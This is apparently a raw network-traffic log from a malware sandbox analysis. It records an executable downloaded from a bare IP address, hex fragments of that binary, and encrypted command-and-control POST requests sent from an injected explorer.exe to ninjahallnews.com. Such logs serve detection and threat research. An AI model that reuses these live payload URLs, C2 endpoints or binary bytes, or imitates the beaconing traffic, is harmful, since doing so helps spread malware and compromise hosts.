2024-10-08 16:23:54 UTC	162	OUT	GET /ksa9104.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 23.145.40.164
2024-10-08 16:23:54 UTC	327	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:23:54 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff Last-Modified: Tue, 08 Oct 2024 16:00:03 GMT ETag: "38000-623f93af1dd20" Accept-Ranges: bytes Content-Length: 229376 Connection: close Content-Type: application/x-msdos-program
2024-10-08 16:23:54 UTC	7865	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 12 7a 9e 94 56 1b f0 c7 56 1b f0 c7 56 1b f0 c7 48 49 74 c7 4f 1b f0 c7 48 49 65 c7 46 1b f0 c7 48 49 73 c7 1b 1b f0 c7 71 dd 8b c7 55 1b f0 c7 56 1b f1 c7 38 1b f0 c7 48 49 7a c7 57 1b f0 c7 48 49 64 c7 57 1b f0 c7 48 49 61 c7 57 1b f0 c7 52 69 63 68 56 1b f0 c7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 12 dd 51 65 00 00 00 00 00 00 00 00 e0 00 03 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$zVVVHItOHIeFHIsqUV8HIzWHIdWHIaWRichVPELQe
2024-10-08 16:23:54 UTC	8000	IN	Data Raw: 04 42 83 e0 08 85 c0 74 05 8a 1f 47 eb c7 80 fb 2d 75 06 83 4d 18 02 eb 05 80 fb 2b 75 03 8a 1f 47 8b 45 14 85 c0 0f 8c 4b 01 00 00 83 f8 01 0f 84 42 01 00 00 83 f8 24 0f 8f 39 01 00 00 85 c0 75 2a 80 fb 30 74 09 c7 45 14 0a 00 00 00 eb 34 8a 07 3c 78 74 0d 3c 58 74 09 c7 45 14 08 00 00 00 eb 21 c7 45 14 10 00 00 00 eb 0a 83 f8 10 75 13 80 fb 30 75 0e 8a 07 3c 78 74 04 3c 58 75 04 47 8a 1f 47 8b b1 c8 00 00 00 b8 ff ff ff ff 33 d2 f7 75 14 0f b6 cb 0f b7 0c 4e f6 c1 04 74 08 0f be cb 83 e9 30 eb 1b f7 c1 03 01 00 00 74 31 8a cb 80 e9 61 80 f9 19 0f be cb 77 03 83 e9 20 83 c1 c9 3b 4d 14 73 19 83 4d 18 08 39 45 fc 72 27 75 04 3b ca 76 21 83 4d 18 04 83 7d 10 00 75 23 8b 45 18 4f a8 08 75 20 83 7d 10 00 74 03 8b 7d 0c 83 65 fc 00 eb 5b 8b 5d fc 0f af 5d 14 Data Ascii: BtG-uM+uGEKB$9u*0tE4<xt<XtE!Eu0u<xt<XuGG3uNt0t1aw ;MsM9Er'u;v!M}u#EOu }t}e[]]
2024-10-08 16:23:54 UTC	8000	IN	Data Raw: 22 59 89 08 8b f1 eb b5 33 c0 5f 5e 5b 5d c3 8b ff 55 8b ec 53 56 8b 75 08 33 db 57 39 5d 14 75 10 3b f3 75 10 39 5d 0c 75 12 33 c0 5f 5e 5b 5d c3 3b f3 74 07 8b 7d 0c 3b fb 77 1b e8 7f cd ff ff 6a 16 5e 89 30 53 53 53 53 53 e8 03 e9 ff ff 83 c4 14 8b c6 eb d5 39 5d 14 75 04 88 1e eb ca 8b 55 10 3b d3 75 04 88 1e eb d1 83 7d 14 ff 8b c6 75 0f 8a 0a 88 08 40 42 3a cb 74 1e 4f 75 f3 eb 19 8a 0a 88 08 40 42 3a cb 74 08 4f 74 05 ff 4d 14 75 ee 39 5d 14 75 02 88 18 3b fb 75 8b 83 7d 14 ff 75 0f 8b 45 0c 6a 50 88 5c 06 ff 58 e9 78 ff ff ff 88 1e e8 05 cd ff ff 6a 22 59 89 08 8b f1 eb 82 cc cc cc 8b 4c 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 Data Ascii: "Y3_^[]USVu3W9]u;u9]u3_^[];t};wj^0SSSSS9]uU;u}u@B:tOu@B:tOtMu9]u;u}uEjP\Xxj"YL$t$tNu$$~
2024-10-08 16:23:54 UTC	8000	IN	Data Raw: dc 89 75 0c ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 75 1c ff 15 70 61 41 00 8b f8 3b f3 74 07 56 e8 9c d8 ff ff 59 8b c7 8d 65 ec 5f 5e 5b 8b 4d fc 33 cd e8 8f a6 ff ff c9 c3 8b ff 55 8b ec 83 ec 10 ff 75 08 8d 4d f0 e8 11 c0 ff ff ff 75 24 8d 4d f0 ff 75 20 ff 75 1c ff 75 18 ff 75 14 ff 75 10 ff 75 0c e8 16 fe ff ff 83 c4 1c 80 7d fc 00 74 07 8b 4d f8 83 61 70 fd c9 c3 8b ff 55 8b ec 56 8b 75 08 85 f6 0f 84 81 01 00 00 ff 76 04 e8 2c d8 ff ff ff 76 08 e8 24 d8 ff ff ff 76 0c e8 1c d8 ff ff ff 76 10 e8 14 d8 ff ff ff 76 14 e8 0c d8 ff ff ff 76 18 e8 04 d8 ff ff ff 36 e8 fd d7 ff ff ff 76 20 e8 f5 d7 ff ff ff 76 24 e8 ed d7 ff ff ff 76 28 e8 e5 d7 ff ff ff 76 2c e8 dd d7 ff ff ff 76 30 e8 d5 d7 ff ff ff 76 34 e8 cd d7 ff ff ff 76 1c e8 c5 d7 ff ff ff 76 38 Data Ascii: uuuuuupaA;tVYe_^[M3UuMu$Mu uuuuu}tMapUVuv,v$vvvv6v v$v(v,v0v4vv8
2024-10-08 16:23:54 UTC	8000	IN	Data Raw: 7f 3a e5 0e c9 3f b0 53 75 20 ce 8a bf 61 27 8d f0 18 5e 13 62 fc a8 66 86 89 c4 f9 d9 b2 39 9c 4c ba 01 f2 94 94 3d 97 9e b4 96 96 f7 30 13 df a8 53 de b0 7a 90 76 13 a7 ae 77 51 fc 66 ae a0 4a f8 0f 09 16 fb ed 21 fd 3c 7a d6 9c 32 ea f9 e4 e6 38 9d 3b 71 3b 39 34 db 45 3d 4d f9 99 81 4d 40 51 77 34 be 82 07 6b 40 ca 9b 13 37 4e 21 e4 81 05 91 cf 5d 07 b9 04 46 4b 48 56 98 56 4a d5 ed 00 d5 ca 00 15 40 2e 8f 3e d3 ea 5c 82 00 e8 9c 2d bc aa fd ab 04 47 d8 ef 77 dc b4 89 c7 46 fe 7d 12 0f 4e f0 4e d7 cc 96 9d 61 36 79 5d 97 3f 96 8f b3 fa 35 0d 96 5e 92 f1 43 0d 6f 64 47 ed 97 32 b5 49 90 50 71 33 02 84 f0 84 d0 39 1f 2a 95 a5 03 cb 67 c0 56 a8 f3 9f 12 76 ea 73 b2 64 45 25 ed 21 4d 65 72 f8 51 00 5c ff e4 b4 35 8f 60 e4 7f 99 0f 20 31 87 b9 87 27 72 09 Data Ascii: :?Su a'^bf9L=0SzvwQfJ!<z28;q;94E=MM@Qw4k@7N!]FKHVVJ@.>\-GwF}NNa6y]?5^CodG2IPq39*gVvsdE%!MerQ\5` 1'r
2024-10-08 16:23:54 UTC	8000	IN	Data Raw: 00 79 ab 6a 98 5c cb fa 40 5d 93 68 55 2b 0f a8 22 76 d8 bd 93 95 85 23 89 9f 94 20 ac 2d 95 77 6e c7 f2 ea c5 22 c5 30 f3 bb 72 43 f2 b4 c9 df 06 31 16 a4 d7 5f d6 37 9f 17 e2 c2 27 45 4f 98 c1 45 a3 f9 e1 d4 6e 95 e1 00 6a 6f 4d 77 28 0e a6 64 56 06 fd c6 d3 6a ff 9f bc f0 62 c0 f3 90 dd 37 dc 50 4d 6d cd a8 c8 e4 6a 27 2f 7f ac fc d9 b5 2b 9c 9e 02 20 51 3c c6 9a f9 91 98 c3 d3 91 7d ef 8b c9 47 f5 9a 13 dc de 91 70 39 44 0d 55 16 dc 11 26 0f 92 5e 61 11 c4 1f 00 9b fe 4e 05 a4 c6 3e 6d d4 f0 31 71 b0 3a b7 43 91 f1 be 7d 4f f3 ba b2 6f 78 7e 1e f3 e6 81 7b 85 e4 e3 11 32 8d 42 62 8a d8 19 3c 2b 6e 4e 86 19 42 c7 29 00 67 49 99 1d c3 56 d9 81 d4 8e 2f 66 81 a4 e4 92 38 d6 64 04 a5 69 4a b4 82 e6 7c 98 af a8 70 4b 17 f8 fe 09 c1 35 b1 de 66 3b 74 a2 1d Data Ascii: yj\@]hU+"v# -wn"0rC1_7'EOEnjoMw(dVjb7PMmj'/+ Q<}Gp9DU&^aN>m1q:C}Oox~{2Bb<+nNB)gIV/f8diJ\|pK5f;t
2024-10-08 16:23:54 UTC	8000	IN	Data Raw: 85 79 11 e1 d8 93 c1 61 e7 41 0a 3d 96 ac 48 97 21 9c f8 b3 92 c6 2b 5d e5 4a 46 95 1d 36 52 a2 47 9b bf d2 4d 73 01 20 f9 aa d5 b9 ab 5e 16 62 8e a7 d1 a7 b6 b6 5d 87 0d 55 c6 ad c9 dd c0 f2 92 27 3c 87 30 ce b3 96 dc d3 c3 f0 04 27 1e 17 1e 63 8c f5 be 45 fc 72 1d 0e 11 d3 f4 b5 f9 b9 cd 6c 07 02 35 1f 8c 92 35 82 47 69 f8 28 41 dd ae 0b 75 14 a5 71 7a 64 7c 61 68 c5 9e a6 76 42 37 5a f7 4a 3d ed d5 78 01 e9 a9 b3 77 6d 26 9f 97 39 1f 0a 75 62 0b 76 59 7a 2a 0a 66 36 b8 2e b0 1f 71 7e 59 41 c6 e8 a3 2f 39 96 c7 87 6e be e8 9c 46 ae 02 82 21 97 de ab 70 d1 d6 ee 2b 81 9e e2 b1 b6 ed d3 d1 08 77 92 aa 2d d8 17 e2 c7 4d 30 0f 27 9c 98 a8 c1 a5 da d6 99 fc 73 56 77 16 82 6a 80 4a e5 19 59 f1 71 c8 de fd 03 b6 3a e0 a1 a5 25 4e 50 10 af d6 1f fc f3 60 a7 ae Data Ascii: yaA=H!+]JF6RGMs ^b]U'<0'cErl55Gi(Auqzd\|ahvB7ZJ=xwm&9ubvYz*f6.q~YA/9nF!p+w-M0'sVwjJYq:%NP`
2024-10-08 16:23:54 UTC	8000	IN	Data Raw: 6f 2c 0f da bc 2c 78 e0 4a 56 d4 41 b4 b8 55 39 ba 31 4b a2 2f 24 21 1b 39 9e 15 d8 e1 3b 20 df 3e bb 14 87 2a d6 5c f1 e2 35 0d ab d6 a5 8f b9 4f 29 d1 9e 37 2d 6c 33 65 4b 0e 80 c8 ac 06 29 f6 4a 67 9b 77 9e 33 d5 d0 60 8c 67 64 c4 05 2c e4 a6 39 28 83 c4 e7 5a 70 3a 13 e1 d2 e2 c6 15 6a d4 1b 48 e7 4f 05 f3 38 e7 c1 6a 07 66 f8 7e 85 04 c3 ba b2 89 e9 d2 5c 24 1b e7 82 24 b1 11 3e dd ba 10 fb 05 83 95 13 7a 0c ff cf a1 39 81 fe ca d3 09 1e e5 4c 21 16 54 ad 44 a5 e4 24 88 9e e7 aa fc 95 18 c4 d8 dc f6 0c 81 65 50 39 37 42 e4 ee 46 1b 76 6d 4a e5 81 25 aa a7 f5 e6 66 62 30 59 0e cf a2 7d a4 26 54 8a 85 68 ff 59 00 fc 35 68 ea 4d d2 14 aa f1 00 47 51 37 21 7c 8b 14 6d 32 56 fb bd ed 3a 2f a5 58 e7 fe 7c 65 e6 f5 1c 8f f6 bf 4d 3e 8d 44 ed a7 8e 03 a1 58 Data Ascii: o,,xJVAU91K/$!9; >*\5O)7-l3eK)Jgw3`gd,9(Zp:jHO8jf~\$$>z9L!TD$eP97BFvmJ%fb0Y}&ThY5hMGQ7!\|m2V:/X\|eM>DX
2024-10-08 16:23:54 UTC	8000	IN	Data Raw: cf 4a 46 76 aa b9 20 60 24 5a 11 1c 8d ec 5d b1 91 0b 20 08 54 35 cc 2d 6b 4e ba 5b 44 11 ad 64 a8 88 64 a4 26 95 00 22 53 09 b4 7e 63 28 d7 1b 9b dc 55 79 58 31 d5 41 1a 7a ed 97 d1 ec 37 3b 46 4e 04 85 7d 2c 8e 62 0d e0 0e dc 84 8c 39 f5 49 7f d5 a3 07 98 71 6d d0 82 cf a8 0c 96 13 aa 33 b1 d5 dc f3 f7 14 38 b7 ef 28 ba 34 5c 21 ac 7f 2d 59 df c3 12 6a 50 13 49 13 ae 5a 0f bb c7 5f 4c 33 6a 82 cc ef d5 ac bf 20 fa a3 ad 7f 77 18 da f2 5a d5 37 11 c5 f5 f6 fa 09 4d cf 65 95 2b 8c 15 01 cd ea d1 8d 4e 83 c3 a4 1f cd 98 96 25 28 47 0a 9d 1a 19 fa 29 49 bc 57 3e 0b 49 ad d5 97 e1 92 52 f9 6d 1f 9e 80 81 d0 6f ae 9f e2 c9 c7 58 72 dd ab a9 2a 8e 51 5e e6 42 5f 02 43 cc ae 44 2a 22 fa 84 62 08 1c 84 2b cf f5 b8 92 7d 64 15 19 18 94 0f 4a 1a c1 5f 19 a2 fe 6d Data Ascii: JFv `$Z] T5-kN[Ddd&"S~c(UyX1Az7;FN},b9Iqm38(4\!-YjPIZ_L3j wZ7Me+N%(G)IW>IRmoXrQ^B_CD"b+}dJ_m
2024-10-08 16:23:54 UTC	8000	IN	Data Raw: 19 36 35 8d cf 4f 29 66 8a 00 4a 86 8d fc 14 77 51 36 12 59 6b 7c 52 22 a7 c7 aa 2c a3 62 31 b2 18 a7 a6 bb 12 01 d7 d5 43 13 83 43 34 03 72 98 04 b9 3f 92 03 bf 52 3c 9a c6 93 d3 b0 1c 38 f1 67 1e 63 b1 fd 0f 6f 00 e4 97 65 94 26 0a 13 67 ed 54 17 32 01 f7 8c e2 ec f7 17 81 03 bb 88 e2 1f aa 37 fa 4d 35 14 b2 23 42 7a 24 ba dc 26 19 df f8 c4 37 1e 7d 5e c0 b4 8d aa a8 ca 2e 34 70 96 cd 66 be 05 ac 7f 54 3a 31 93 3a 23 14 c5 00 30 70 19 5a 51 0b 4d e7 7d 66 77 1f 90 d5 21 dc b8 2c 05 b8 4a 03 1b 2c 18 bb 14 11 b1 c2 44 ca a4 79 d5 97 7e 52 e3 05 c5 e7 d9 11 8b 46 5b 53 ee 3c 3f 81 6c 3a 8d 12 5b c2 de d5 e1 9f 17 71 5a 77 16 ff ec 1a 89 96 13 a4 34 9c 80 a1 8b f2 e7 07 76 69 c0 ed 9d 98 66 5d 45 bd e5 fa 31 f5 41 ca 5c 93 9e 7f bd f1 a8 35 85 62 f1 b6 32 Data Ascii: 65O)fJwQ6Yk\|R",b1CC4r?R<8gcoe&gT27M5#Bz$&7}^.4pfT:1:#0pZQM}fw!,J,Dy~RF[S<?l:[qZw4vif]E1A\5b2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	61433	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:20 UTC	285	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://vucrathrxdck.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 241 Host: ninjahallnews.com
2024-10-08 16:24:20 UTC	241	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 43 4c 6a 34 01 83 b6 25 93 3c 6d ba 12 98 a4 fd 0a 22 a8 74 62 87 72 f6 e1 09 03 ce 04 2f 7f cb c7 d4 49 e9 d3 08 5d 92 93 5d 94 48 24 a0 e2 1a 1d 4f 56 0d 07 99 65 be 94 9c 48 de f4 73 14 52 8b 57 3a dd 4d 15 e1 9a f5 d2 26 07 b5 66 da 6a 88 7d 23 8c 1a a8 7b 30 4b 19 74 e8 cb 45 f3 99 77 e5 28 79 8a ca bb 51 da b9 07 b9 ad 8b 8f 32 55 87 be a6 57 18 b1 72 53 ea 08 17 29 9f 23 6a 7a bb 4c 2b 45 d4 8c ce 13 22 a3 e0 23 ef 4a 8b f7 e6 17 3d 7b 23 b8 07 76 55 1c 39 b8 4e f6 92 78 43 39 74 1d ef af 58 35 24 54 be a7 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[CLj4%<m"tbr/I]]H$OVeHsRW:M&fj}#{0KtEw(yQ2UWrS)#jzL+E"#J={#vU9NxC9tX5$T
2024-10-08 16:24:20 UTC	294	IN	HTTP/1.1 404 Not Found Date: Tue, 08 Oct 2024 16:24:20 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Type: text/html; charset=utf-8 Connection: close Transfer-Encoding: chunked
2024-10-08 16:24:20 UTC	7898	IN	Data Raw: 31 65 65 36 0d 0a 19 00 00 00 1e 0d ae 55 88 5b ab 97 21 0d dd 60 2e 7b 1d 32 50 01 72 3e c8 9a 69 4c 1d 00 8b 6e 04 00 2a 22 f8 44 01 02 02 00 06 00 9e 03 00 00 77 51 0b 6d 97 5a 5a 1a e7 4b 51 fa 07 40 40 00 56 e8 34 2a 99 34 df c4 22 b4 0c c2 c9 75 16 28 d6 e8 35 ae 87 4e 70 79 29 cd 23 c3 ef 0b d6 49 8b 19 b9 12 52 9b dd 05 05 4e 9f 97 7b e1 5f 69 8c b0 ed 65 43 56 5e 71 f5 4e 45 39 f4 04 e9 d0 a8 e9 4b 2b 4d 76 2a 66 fa 26 fe fc 55 8f 54 eb 33 b6 46 e0 cd 9b 34 02 35 6a 8c 34 70 c2 dc 6e 38 81 9d aa f9 df b3 6b b5 26 0a bf f8 36 e7 44 24 f5 0e af a7 0a 97 ae cb ad 65 6a 38 8e 2f df 47 1f 1a ad c3 3a f2 61 39 73 b3 62 24 2c b7 bd 31 c3 2f 23 8d 51 5a f1 9f b6 71 3e fe 3f 8a 3b 55 06 26 3f 4a 6b de aa db 22 7d b3 7d c9 db a3 3d 47 8d 1a 2c 1e 6a 9c fa Data Ascii: 1ee6U[!`.{2Pr>iLn"DwQmZZKQ@@V44"u(5Npy)#IRN{_ieCV^qNE9K+Mv*f&UT3F45j4pn8k&6D$ej8/G:a9sb$,1/#QZq>?;U&?Jk"}}=G,j
2024-10-08 16:24:20 UTC	18	IN	Data Raw: 4a ad c8 4d b8 98 51 d7 c4 46 f4 20 38 32 b7 a2 a6 9c Data Ascii: JMQF 82
2024-10-08 16:24:20 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-08 16:24:20 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a c7 83 91 ea b4 80 43 43 d2 2a 76 48 28 fa e3 f3 9b 3d 20 10 9a 0e 07 b4 7c 20 db b8 5f 0e 1c e0 7a 74 62 c2 d5 38 50 ab b4 6a a0 56 ed 37 bc 2b 04 79 0c 1b 74 82 e9 04 9a 87 8c 66 71 e2 3a 32 bf 96 aa 85 56 f4 05 fa 48 17 d7 45 b4 74 c3 01 34 c3 54 3e 0c 3d 97 2a 26 cc e0 32 29 5f 8c 55 6d 85 ae 7f c0 d1 7a 0d e9 4b ea fe ab ed 75 74 7c 00 3d e6 71 31 34 c9 ac e6 53 30 c6 87 a5 c8 d7 15 65 b7 c3 61 c3 c5 8f c6 9a c4 80 03 25 d2 d0 09 db b2 89 46 e4 46 0c 7b d6 5d 28 c6 ce 93 0e a0 df 57 0e ee 82 b4 d0 a5 1f 04 45 b4 1f 58 9b 51 6b 96 da 7d 6f 25 58 7f c2 df 99 a3 df 79 d9 ef 51 30 8c 18 69 40 64 fe e0 0e f9 89 96 8f 98 34 d7 8c c5 72 ed 1a ee 52 45 71 1c 08 d3 19 12 f4 68 db 8e ab e2 ad 2e 10 cd bb fe ff 53 78 84 90 47 f0 6e 67 90 52 5f Data Ascii: 2000CCvH(= \| _ztb8PjV7+ytfq:2VHEt4T>=&2)_UmzKut\|=q14S0ea%FF{](WEXQk}o%XyQ0i@d4rREqh.SxGngR_
2024-10-08 16:24:20 UTC	6	IN	Data Raw: 97 20 09 6c 1a f8 Data Ascii: l
2024-10-08 16:24:20 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-10-08 16:24:20 UTC	8192	IN	Data Raw: 32 30 30 30 0d 0a c5 1b 8a ab 3f 66 45 20 c9 af 22 2e ab 70 95 3f 9f 17 d3 11 7d 81 a5 94 ec 3b f9 58 d1 55 e2 90 08 70 1a b8 60 26 7d 78 86 82 bc 9a 1b 61 79 3c 97 58 14 89 26 5c 44 88 a6 3d 96 1c 53 26 00 44 58 49 1b e8 f1 aa 9a db 4e 9f 66 5f 7d b0 b3 fc 57 ca ff 71 25 4f 88 ed 70 0f 16 b2 c4 bd 0e bf f3 dc 00 b7 f2 a5 f4 ae f3 f6 7a c8 37 8f 60 c1 38 d7 b6 f2 58 0d 76 ba c8 7a a6 13 3a 4c a3 b6 86 b9 a2 0c 4b 37 05 84 09 ed 08 4f 88 07 ea 9a 75 72 15 85 b8 4f 76 61 8c 31 de 65 cd 2a 97 ab 9b 29 53 ae e4 04 d8 0a b1 e7 9c e1 f6 76 b9 e7 13 2d 86 58 56 2e 7e 92 81 b1 d6 bd f7 64 fc 6f c7 85 3a 07 06 fb 78 ed f1 e2 16 f4 a8 e4 e2 30 06 ce 27 25 8a 9d db ba e3 ba 88 e2 96 64 d0 07 8e 10 df c5 fe 4c ef 98 b4 8c 08 a1 01 60 3f 7e ab c0 6c eb 06 f6 63 1f a5 Data Ascii: 2000?fE ".p?};XUp`&}xay<X&\D=S&DXINf_}Wq%Opz7`8Xvz:LK7OurOva1e*)Sv-XV.~do:x0'%dL`?~lc
2024-10-08 16:24:20 UTC	6	IN	Data Raw: 60 4f 16 27 c7 be Data Ascii: `O'
2024-10-08 16:24:20 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	61434	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:21 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://krpqgyauqofjy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 368 Host: ninjahallnews.com
2024-10-08 16:24:21 UTC	368	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6a 34 01 83 b7 25 93 3c 76 b8 12 e8 a4 bf 56 5b dd 7d 62 a0 21 ff f9 39 2e df 1a 28 51 94 b1 f5 4f be ae 58 0e e5 87 3f bf 62 3a 93 c0 0f 1b 3b 1b 22 0d d9 69 ca e3 c6 4c 8a 99 43 37 52 a2 6e 59 db 41 0a e4 db e8 d4 26 0c 99 62 ac 6a ba 6c 3f c8 1f d2 2d 43 40 1d 70 e7 d9 63 fb aa 01 85 12 60 95 c9 c5 08 d5 8f 00 bd d3 92 97 51 38 c8 c4 df 08 4d b0 68 55 84 06 5b 49 a5 5b 13 46 e9 42 01 12 9f 8b 8c 14 47 b7 ea 73 80 4d 98 f0 b8 13 35 16 4e d9 40 69 5b 1c 07 a7 2f ee c3 6a 5f 12 59 5e e6 fe 64 2b 5e 26 b1 eb e6 58 88 ea 2c e4 37 df 87 a4 da 58 c2 77 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lj4%<vV[}b!9.(QOX?b:;"iLC7RnYA&bjl?-C@pc`Q8MhU[I[FBGsM5N@i[/j_Y^d+^&X,7Xw
2024-10-08 16:24:22 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:21 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	61435	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:22 UTC	286	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://mjqditygumcpl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 286 Host: ninjahallnews.com
2024-10-08 16:24:22 UTC	286	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 6b 34 01 83 b7 25 93 3c 62 cd 1f 83 dd fa 0a 5c ac 70 13 a5 73 8e ee 7d 15 a8 78 4a 7c c5 cb e3 5a ac f7 18 73 f9 b2 7e a9 45 27 fb ea 79 1d 6a 63 3d 4f c7 0f 91 f9 b2 3b d1 b8 4a 25 5a ed 70 06 c3 32 44 f1 9a 83 d4 5e 03 8a 6a d2 5b ea 22 20 a9 44 a4 4a 40 2c 1b 53 f5 f6 03 e9 cc 67 e4 38 2e 9b e5 c6 54 dd e1 44 ba c1 ad de 53 69 9c c3 bf 40 06 94 6f 13 eb 6d 0a 5e e6 4c 7d 5b d3 47 31 5c 84 87 ea 17 31 d1 eb 62 aa 6e df fa bf 12 1a 7d 46 db 02 20 71 23 16 e3 0f ec b8 0b 1e 6c 7d 43 e0 ef 57 7a 41 40 d6 f4 d2 5d d7 e8 6e e7 2f be bb be 9b 4b cb 58 Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lk4%<b\ps}xJ\|Zs~E'yjc=O;J%Zp2D^j[" DJ@,Sg8.TDSi@om^L}[G1\1bn}F q#l}CWzA@]n/KX
2024-10-08 16:24:22 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:22 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	61436	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:23 UTC	288	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://xmqdemcyeborscy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 114 Host: ninjahallnews.com
2024-10-08 16:24:23 UTC	114	OUT	Data Raw: 72 19 85 c8 8d 79 60 88 69 f7 e0 65 32 f1 61 27 d0 80 c2 d0 10 0b 43 f8 03 7c c7 e1 9c a2 47 e3 7c 9b b8 f5 00 f1 a2 f5 f3 0a d0 c0 e8 29 25 bc ad d4 27 64 00 63 67 33 fa a7 84 b4 ec 69 71 0c 18 48 5b dd 40 4c 68 34 01 83 b7 25 93 3c 28 a7 7a 94 b6 a0 45 25 b9 73 79 f6 31 92 8d 7f 10 b7 3e 0f 61 91 b4 ef 52 e4 ed 6b 54 99 a0 22 eb 5b 4a cb Data Ascii: ry`ie2a'C\|G\|)%'dcg3iqH[@Lh4%<(zE%sy1>aRkT"[J
2024-10-08 16:24:23 UTC	278	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 16:24:23 GMT Server: Apache/2.4.52 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff X-Frame-Options: DENY X-Content-Type-Options: nosniff Content-Length: 0 Content-Type: text/html; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	61437	23.145.40.168	443	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-08 16:24:24 UTC	287	OUT	POST /search.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: https://ivdqbkwbkfcqmd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 281 Host: ninjahallnews.com
